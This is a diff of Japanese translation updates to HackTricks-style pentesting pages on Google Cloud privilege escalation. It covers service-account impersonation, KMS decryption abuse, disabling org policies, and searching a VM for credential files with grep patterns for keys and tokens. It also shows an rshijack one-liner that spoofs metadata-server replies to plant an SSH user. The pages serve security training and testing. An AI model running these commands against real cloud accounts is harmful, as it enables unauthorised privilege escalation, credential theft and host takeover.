上記の権限があれば、攻撃者は service accounts に対して**IAM ポリシーを追加する**ことができます。この機能を悪用して、自分自身にサービスアカウントをインパーソネートするために必要な権限を**付与する**ことが可能です。以下の例では、興味のある SA に対して自分に `roles/iam.serviceAccountTokenCreator` ロールを付与しています:
|
||||
|
||||
<details><summary>Add IAM policy binding to service account</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +99,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**で見つけることができます。**
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs権限**は、**AWSのiam:PassRole権限**に似ています。これは、Compute Engineインスタンスを起動するなどのタスクを実行するために不可欠であり、サービスアカウントとして「行動する」能力を付与し、安全な権限管理を確保します。これがなければ、ユーザーは不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs**を悪用するには、さまざまな方法があり、それぞれに一連の権限が必要であり、他の方法は1つの権限だけを必要とするのとは対照的です。
|
||||
**iam.serviceAccounts.actAs permission** は **iam:PassRole permission from AWS** に似ています。これは Compute Engine のインスタンス起動などのタスクを実行する際に重要で、Service Account を "actAs" する能力を付与し、権限管理を安全に行えるようにします。これがなければ、ユーザが不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する方法は複数あり、それぞれに一連の権限が必要になる点が、単一の権限だけで済む他の手法と対照的です。
|
||||
|
||||
#### サービスアカウントの偽装 <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
サービスアカウントを偽装することは、**新しいより良い権限を取得するために非常に便利です**。他のサービスアカウントを[偽装する方法は3つあります](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Service account を impersonate することは、**より高い権限を取得する**ために非常に有用です。別の service account を [impersonate する方法](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) は三通りあります:
|
||||
|
||||
- RSA秘密鍵を**使用した認証**(上記で説明)
|
||||
- Cloud IAMポリシーを**使用した認可**(ここで説明)
|
||||
- **GCPサービスでのジョブのデプロイ**(ユーザーアカウントの侵害により適用される)
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
前述の権限を持つ攻撃者は、OpenID JWTを生成することができます。これらはアイデンティティを主張するために使用され、リソースに対する暗黙の認可を必ずしも持っているわけではありません。
|
||||
上記の権限がある攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使われ、必ずしもリソースに対する暗黙の認可を伴うわけではありません。
|
||||
|
||||
この[**興味深い投稿**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によると、オーディエンス(トークンを使用して認証したいサービス)を示す必要があり、サービスアカウントとJWTのオーディエンスを示すgoogleによって署名されたJWTを受け取ります。
|
||||
この [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT には service account と audience が示されます。
|
||||
|
||||
アクセスがあれば、OpenIDTokenを生成できます:
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
<details><summary>service account の OpenID トークンを生成する</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
それから、次のようにしてサービスにアクセスできます:
|
||||
</details>
|
||||
|
||||
その後、それを使ってサービスにアクセスできます:
|
||||
|
||||
<details><summary>OpenID tokenを使って認証する</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
この種のトークンを介して認証をサポートするサービスには、次のものがあります:
|
||||
</details>
|
||||
|
||||
この種のトークンを使った認証をサポートするサービスには、次のものがあります:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDCを使用している場合)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
サービスアカウントの代わりにOpenIDトークンを作成する方法の例は、[**こちら**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で見つけることができます。
|
||||
サービスアカウントに代わって OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -1,20 +1,22 @@
|
||||
# GCP - KMS プライベートエスカレーション
|
||||
# GCP - KMS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
KMSに関する情報:
|
||||
KMS に関する情報:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
KMSでは、**権限**は組織、フォルダ、プロジェクトから**継承**されるだけでなく、**キーリング**からも継承されることに注意してください。
|
||||
KMS では、**権限**は組織、フォルダ、プロジェクトからだけでなく、**Keyrings** からも**継承されます**。
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
この権限を使用して、あなたがこの権限を持っているキーで**情報を復号化**することができます。
|
||||
この権限があると、対象のキーを使って**情報を復号する**ことができます。
|
||||
|
||||
<details><summary>KMSキーを使ってデータを復号する</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
この権限を持つ攻撃者は、**自分自身に権限を与えて** 情報を復号化するためにキーを使用することができます。
|
||||
この権限を持つ攻撃者は、鍵を使用して情報を復号する権限を**自分に付与する**ことができます。
|
||||
|
||||
<details><summary>自分に KMS decrypter role を付与する</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
この委任がどのように機能するかの概念的な内訳は次のとおりです:
|
||||
この委任がどのように機能するかの概念的な内訳は次の通りです:
|
||||
|
||||
1. **サービスアカウントA** は、KMS内の特定のキーを使用して復号化する直接的なアクセス権を持っています。
|
||||
2. **サービスアカウントB** は `useToDecryptViaDelegation` 権限を付与されます。これにより、サービスアカウントAの代わりにKMSにデータの復号化を要求することができます。
|
||||
1. **サービスアカウントA** は KMS の特定のキーを使って復号する直接的なアクセス権を持っています。
|
||||
2. **サービスアカウントB** に `useToDecryptViaDelegation` 権限が付与されます。これによりサービスアカウントB は、サービスアカウントA に代わって KMS にデータの復号をリクエストできます。
|
||||
|
||||
この**権限の使用は、復号化リクエストが行われる際にKMSサービスが権限をチェックする方法に暗黙的に含まれています**。
|
||||
この **権限の使用は、復号リクエスト時に KMS サービスが権限をチェックする方法に暗黙的に組み込まれています**。
|
||||
|
||||
Google Cloud KMS API(Pythonや他の言語で)を使用して標準の復号化リクエストを行うと、サービスは**リクエストを行っているサービスアカウントが必要な権限を持っているかどうかをチェックします**。リクエストが**`useToDecryptViaDelegation`** 権限を持つサービスアカウントによって行われた場合、KMSはこの**アカウントがキーを所有するエンティティの代わりに復号化を要求することを許可されているかどうかを確認します**。
|
||||
Google Cloud KMS API(Python や他の言語)を使って標準的な復号リクエストを行うと、サービスは **リクエスト元のサービスアカウントが必要な権限を持っているかをチェックします**。もしそのリクエストが `useToDecryptViaDelegation` を持つサービスアカウントによって行われた場合、KMS はこの **アカウントがキーの所有者に代わって復号をリクエストすることを許可されているか** を検証します。
|
||||
|
||||
#### 委任の設定
|
||||
|
||||
1. **カスタムロールの定義**: カスタムロールを定義するYAMLファイル(例:`custom_role.yaml`)を作成します。このファイルには `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 権限が含まれている必要があります。以下は、このファイルの例です:
|
||||
1. **カスタムロールの定義**: `custom_role.yaml` などの YAML ファイルを作成し、カスタムロールを定義します。このファイルには `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 権限を含める必要があります。以下はこのファイルの例です:
|
||||
|
||||
<details><summary>カスタムロール YAML 定義</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **gcloud CLIを使用してカスタムロールを作成する**: 次のコマンドを使用して、Google Cloudプロジェクトにカスタムロールを作成します:
|
||||
</details>
|
||||
|
||||
2. **gcloud CLI を使用してカスタム ロールを作成する**: 次のコマンドを使用して、Google Cloud プロジェクトにカスタム ロールを作成します:
|
||||
|
||||
<details><summary>カスタム KMS ロールを作成</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
`[YOUR_PROJECT_ID]` をあなたの Google Cloud プロジェクト ID に置き換えます。
|
||||
[YOUR_PROJECT_ID] をあなたの Google Cloud プロジェクト ID に置き換えてください。
|
||||
|
||||
3. **カスタムロールをサービスアカウントに付与する**: この権限を使用するサービスアカウントにカスタムロールを割り当てます。次のコマンドを使用します:
|
||||
</details>
|
||||
|
||||
3. **Grant the Custom Role to a Service Account**: このカスタムロールをこの権限を使用する service account に割り当てます。次のコマンドを使用してください:
|
||||
|
||||
<details><summary>Grant custom role to service account</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
`[YOUR_PROJECT_ID]` と `[SERVICE_ACCOUNT_EMAIL]` をそれぞれあなたのプロジェクトIDとサービスアカウントのメールに置き換えてください。
|
||||
`[YOUR_PROJECT_ID]` と `[SERVICE_ACCOUNT_EMAIL]` をそれぞれプロジェクトIDとサービスアカウントのメールアドレスに置き換えてください。
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,40 +1,40 @@
|
||||
# GCP - ローカル特権昇格 SSH ピボティング
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
このシナリオでは、あなたが **VM内の非特権アカウントを侵害した** と仮定します。
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
|
||||
驚くべきことに、あなたが侵害した Compute Engine の GPC 権限は、**マシン内でローカルに特権を昇格させる**のに役立つかもしれません。クラウド環境では常に非常に役立つわけではありませんが、可能であることを知っておくのは良いことです。
|
||||
驚くべきことに、あなたが侵害した Compute Engine の GPC 権限は、マシン内でローカルに権限を **escalate privileges locally inside a machine** するのに役立つことがあります。クラウド環境では常に有用とは限りませんが、可能であることを知っておくのは有益です。
|
||||
|
||||
## スクリプトを読む <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute インスタンス**は、おそらくそのサービスアカウントを使用してアクションを実行するために **いくつかのスクリプトを実行する** ために存在しています。
|
||||
**Compute Instances** はおそらくその service accounts を使って何らかのスクリプトを **execute some scripts** するために存在しています。
|
||||
|
||||
IAMは非常に細かく設定できるため、アカウントはリソースに対して **読み取り/書き込み** 権限を持っているが **リスト権限は持っていない** 可能性があります。
|
||||
IAM は細かく制御できるため、あるアカウントがリソースに対して **read/write** 権限を持っていても **no list privileges** の場合があります。
|
||||
|
||||
この良い仮想的な例は、`instance82736-long-term-xyz-archive-0332893` というストレージバケットにバックアップを読み書きする権限を持つ Compute インスタンスです。
|
||||
良い仮想例として、`instance82736-long-term-xyz-archive-0332893` という storage bucket にバックアップを read/write する権限を持つ Compute Instance がある場合が挙げられます。
|
||||
|
||||
コマンドラインから `gsutil ls` を実行すると何も返されません。なぜなら、サービスアカウントが `storage.buckets.list` IAM 権限を欠いているからです。しかし、`gsutil ls gs://instance82736-long-term-xyz-archive-0332893` を実行すると、完全なファイルシステムバックアップが見つかり、あなたのローカル Linux アカウントが持っていないデータへの平文アクセスが得られるかもしれません。
|
||||
コマンドラインから `gsutil ls` を実行しても何も返ってこないことがあります。これは service account に `storage.buckets.list` IAM permission がないためです。しかし、`gsutil ls gs://instance82736-long-term-xyz-archive-0332893` を実行すると、完全なファイルシステムのバックアップが見つかり、あなたのローカル Linux アカウントが持っていない平文データにアクセスできる可能性があります。
|
||||
|
||||
このバケット名は、スクリプト(bash、Python、Rubyなど)内で見つけることができるかもしれません。
|
||||
このバケット名はスクリプト(bash、Python、Ruby など)の中に見つかることがあります。
|
||||
|
||||
## カスタムメタデータ
|
||||
## Custom Metadata
|
||||
|
||||
管理者は、**インスタンス**および **プロジェクトレベル**で [カスタムメタデータ](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) を追加できます。これは、**任意のキー/値ペアをインスタンスに渡す**方法であり、環境変数や起動/シャットダウンスクリプトに一般的に使用されます。
|
||||
管理者はインスタンスレベルとプロジェクトレベルで [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) を追加できます。これはインスタンスに任意の key/value ペアを渡す単純な方法で、環境変数や startup/shutdown スクリプトに一般的に使われます。
|
||||
|
||||
さらに、**ユーザーデータ**を追加することも可能で、これはマシンが起動または再起動されるたびに **実行されるスクリプト**であり、**メタデータエンドポイントからもアクセス可能です。**
|
||||
さらに、**userdata** を追加することが可能で、これはマシンが起動または再起動されるたびに **executed everytime** されるスクリプトで、metadata endpoint からも **accessed** できます。
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **IAM権限の悪用**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
以下に提案するほとんどの権限は、**デフォルトの Compute SA に与えられています**。唯一の問題は、**デフォルトのアクセススコープが SA の使用を妨げる**ことです。しかし、**`cloud-platform`** **スコープ**が有効になっているか、単に **`compute`** **スコープ**が有効になっている場合、あなたはそれらを **悪用することができる**でしょう。
|
||||
以下に挙げる多くの権限は **default Compute SA** に付与されていることが多く、唯一の問題は **default access scope** が SA にそれらを使わせない点です。しかし、`cloud-platform` scope が有効化されているか、あるいは `compute` scope のみが有効であれば、それらを **abuse** することが可能です。
|
||||
|
||||
以下の権限を確認してください:
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,20 +42,26 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## ファイルシステム内のキーを検索
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
他のユーザーがボックス内で gcloud にログインし、ファイルシステムに資格情報を残しているか確認してください:
|
||||
ボックス内で他のユーザーが gcloud にログインして filesystem に認証情報を残していないか確認してください:
|
||||
|
||||
<details><summary>Search for gcloud credentials in filesystem</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
これらは最も興味深いファイルです:
|
||||
</details>
|
||||
|
||||
最も興味深いファイルは次のとおりです:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### さらにAPIキーの正規表現
|
||||
### 追加の API Keys 正規表現
|
||||
|
||||
<details><summary>Grep パターン (GCP credentials と keys)</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
## 参考文献
|
||||
</details>
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
|
||||
@@ -4,43 +4,58 @@
|
||||
|
||||
## 初期状態
|
||||
|
||||
この技術が指定されている2つの報告書では、攻撃者はGCPによって管理されている**Docker**コンテナ内で**root**アクセスを取得し、ホストネットワークへのアクセス(および**`CAP_NET_ADMIN`**と**`CAP_NET_RAW`**の権限)を持っていました。
|
||||
この手法が記載されている両方の報告では、攻撃者はホストネットワークにアクセスできる GCP 管理下の **Docker** コンテナ内で **root** 権限を取得しました(およびケーパビリティ **`CAP_NET_ADMIN`** および **`CAP_NET_RAW`**)。
|
||||
|
||||
## 攻撃の説明
|
||||
|
||||
Google Compute Engineインスタンスでは、ネットワークトラフィックの定期的な検査により、**メタデータインスタンス**への多数の**プレーンHTTPリクエスト**が明らかになります。オープンソースサービスである[**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent)は、頻繁にこのようなリクエストを行います。
|
||||
Google Compute Engine インスタンスでは、ネットワークトラフィックを監視すると、`169.254.169.254` の **metadata instance** への多数の **plain HTTP requests** が定期的に確認されます。オープンソースのサービスである [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent) は、そのようなリクエストを頻繁に行います。
|
||||
|
||||
このエージェントは**メタデータの変更を監視する**ように設計されています。特に、メタデータには**SSH公開鍵用のフィールド**が含まれています。新しい公開SSH鍵がメタデータに追加されると、エージェントは自動的にそれを`.authorized_key`ファイルに**認証**します。また、必要に応じて**新しいユーザーを作成**し、**sudoers**に追加することもあります。
|
||||
このエージェントは **metadata の変更を監視する** よう設計されています。特に、metadata には **SSH 公開鍵用のフィールド** が含まれています。新しい公開 SSH キーが metadata に追加されると、エージェントはそれを `.authorized_key` ファイルに自動的に **登録(authorize)** します。必要に応じて **新しいユーザーを作成** し、そのユーザーを **sudoers** に追加することもあります。
|
||||
|
||||
エージェントは、**すべてのメタデータ値を再帰的に取得する**リクエストを送信することで変更を監視します(`GET /computeMetadata/v1/?recursive=true`)。このリクエストは、前回の取得以降にメタデータに変更があった場合のみ、メタデータサーバーが応答を送信するように設計されています。これはEtag(`wait_for_change=true&last_etag=`)によって識別されます。さらに、**タイムアウト**パラメータ(`timeout_sec=`)も含まれています。指定されたタイムアウト内に変更が発生しない場合、サーバーは**変更されていない値**で応答します。
|
||||
エージェントは、すべての metadata 値を再帰的に取得するリクエスト(`GET /computeMetadata/v1/?recursive=true`)を送信することで変更を監視します。このリクエストは、前回取得時から metadata に変更があった場合にのみメタデータサーバーがレスポンスを返すよう設計されており、Etag(`wait_for_change=true&last_etag=`)で識別されます。さらに、**timeout** パラメータ(`timeout_sec=`)も含まれます。指定したタイムアウト内に変更がなければ、サーバーは **変更なしの値(unchanged values)** を返します。
|
||||
|
||||
このプロセスにより、**IMDS**(インスタンスメタデータサービス)は、構成変更が発生しなかった場合に**60秒後**に応答することができ、ゲストエージェントに対して**偽の構成応答を注入するための潜在的なウィンドウ**を作成します。
|
||||
このプロセスにより、構成の変更がない場合には **IMDS** (Instance Metadata Service) が **60 秒** 後に応答することが可能となり、guest agent に対して偽の構成レスポンスを注入するための潜在的な **ウィンドウ** が生まれます。
|
||||
|
||||
攻撃者は、**Man-in-the-Middle (MitM)攻撃**を実行し、IMDSサーバーからの応答を偽装して**新しい公開鍵を挿入する**ことでこれを悪用できる可能性があります。これにより、ホストへの不正なSSHアクセスが可能になります。
|
||||
攻撃者はこれを悪用して **Man-in-the-Middle (MitM) attack** を実行し、IMDS サーバーからのレスポンスを偽装して **新しい公開鍵を挿入** することができます。これによりホストへの不正な SSH アクセスが可能になる可能性があります。
|
||||
|
||||
### エスケープ技術
|
||||
### エスケープ手法
|
||||
|
||||
ARPスプーフィングはGoogle Compute Engineネットワークでは効果がありませんが、[**rshijackの修正版**](https://github.com/ezequielpereira/rshijack)が[**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)によって開発され、SSHユーザーを注入するためのパケット注入に使用できます。
|
||||
Google Compute Engine のネットワーク上では ARP spoofing は無効ですが、[**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) が開発した [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) を通信のパケット注入に使用して SSH ユーザーを挿入することができます。
|
||||
|
||||
このrshijackのバージョンは、ACKおよびSEQ番号をコマンドライン引数として入力できるため、実際のメタデータサーバーの応答の前に応答を偽装することが容易になります。さらに、[**小さなシェルスクリプト**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh)が使用され、**特別に作成されたペイロード**を返します。このペイロードは、Google Guest Agentに対して、`.authorized_keys`ファイルに指定された公開鍵を持つユーザー`wouter`を**作成する**ようにトリガーします。
|
||||
このバージョンの rshijack は ACK と SEQ 番号をコマンドライン引数として入力できるため、実際の Metadata サーバーのレスポンスより前にレスポンスを偽装しやすくなります。さらに、[**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) を使って **特別に作成されたペイロード(specially crafted payload)** を返します。このペイロードは Google Guest Agent に対して `.authorized_keys` ファイルに指定した公開鍵で **ユーザー `wouter` を作成(create a user `wouter`)** させます。
|
||||
|
||||
スクリプトは同じETagを使用して、メタデータサーバーが異なるメタデータ値をGoogle Guest Agentに即座に通知しないようにし、応答を遅延させます。
|
||||
スクリプトは同じ ETag を使用して、Metadata サーバーがすぐに Google Guest Agent に異なる metadata 値を通知するのを防ぎ、レスポンスを遅延させます。
|
||||
|
||||
スプーフィングを実行するには、次の手順が必要です。
|
||||
spoofing を実行するには、次の手順を実行します。
|
||||
|
||||
1. **tcpdump**を使用してメタデータサーバーへのリクエストを**監視**します:
|
||||
1. **Metadata server へのリクエストを監視する**(**tcpdump** を使用):
|
||||
|
||||
<details>
|
||||
<summary>tcpdump で metadata サーバーへのリクエストを監視</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
翻訳する内容が見つかりませんでした。具体的なテキストを提供してください。
|
||||
</details>
|
||||
|
||||
次のような行を探してください:
|
||||
|
||||
<details>
|
||||
<summary>tcpdump の出力行の例</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. 正しいETAGを持つ偽のメタデータをrshijackに送信します:
|
||||
</details>
|
||||
|
||||
2. 正しい ETAG を使って偽のメタデータを rshijack に送信する:
|
||||
|
||||
<details>
|
||||
<summary>偽のメタデータを送信してホストに SSH する</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
このステップは公開鍵を認証し、対応する秘密鍵を使用してSSH接続を可能にします。
|
||||
</details>
|
||||
|
||||
この手順は公開鍵を承認し、対応する秘密鍵でのSSH接続を可能にします。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
**orgpolicy.policy.set** を利用する攻撃者は組織のポリシーを操作でき、特定の操作を妨げる制限を解除することができます。例えば、制約 **appengine.disableCodeDownload** は通常 App Engine のソースコードのダウンロードをブロックします。しかし **orgpolicy.policy.set** を使うことでこの制約を無効化でき、当初は保護されていたソースコードをダウンロードできるようになります。
|
||||
**orgpolicy.policy.set** を悪用する攻撃者は組織のポリシーを操作でき、特定の操作を妨げる制限を解除できます。例えば、制約 **appengine.disableCodeDownload** は通常 App Engine のソースコードのダウンロードを阻止します。しかし、**orgpolicy.policy.set** を使うことでこの制約を無効化し、当初は保護されていたソースコードのダウンロードにアクセスできるようになります。
|
||||
|
||||
<details>
|
||||
<summary>org policy の情報を取得して強制を無効化</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
A python スクリプトはこの方法のために [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) にあります。
|
||||
</details>
|
||||
|
||||
この手法の python スクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) にあります。
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
通常、異なるプロジェクトのサービスアカウントをリソースに紐付けることはできません。なぜなら **`iam.disableCrossProjectServiceAccountUsage`** というポリシー制約が適用されており、この操作を防止するためです。
|
||||
通常、別のプロジェクトのサービスアカウントをリソースに付与することはできません。これは **`iam.disableCrossProjectServiceAccountUsage`** というポリシー制約が適用されており、この操作を防いでいるためです。
|
||||
|
||||
この制約が適用されているかどうかは、以下のコマンドを実行して確認できます:
|
||||
この制約が適用されているかどうかは、次のコマンドを実行して確認できます:
|
||||
|
||||
<details>
|
||||
<summary>プロジェクト間サービスアカウント制約の確認</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,15 +39,22 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
これは attacker が **`iam.serviceAccounts.actAs`** 権限を悪用して、例えば新しい VM を起動するために必要な追加のインフラ権限なしに別のプロジェクトのサービスアカウントを偽装し、privilege escalation を招くのを防ぎます。
|
||||
</details>
|
||||
|
||||
しかし、**`orgpolicy.policy.set`** の権限を持つ attacker は、制約 **`iam.disableServiceAccountProjectWideAccess`** を無効化することでこの制限を回避できます。これにより attacker は別のプロジェクトのサービスアカウントを自分のプロジェクト内のリソースにアタッチでき、effectively escalating his privileges。
|
||||
これは攻撃者が権限 **`iam.serviceAccounts.actAs`** を悪用して、例えば追加のインフラ権限(新しい VM の起動など)なしに別プロジェクトのサービスアカウントを引き受けることを防ぎます。こうした行為は権限昇格につながる可能性があります。
|
||||
|
||||
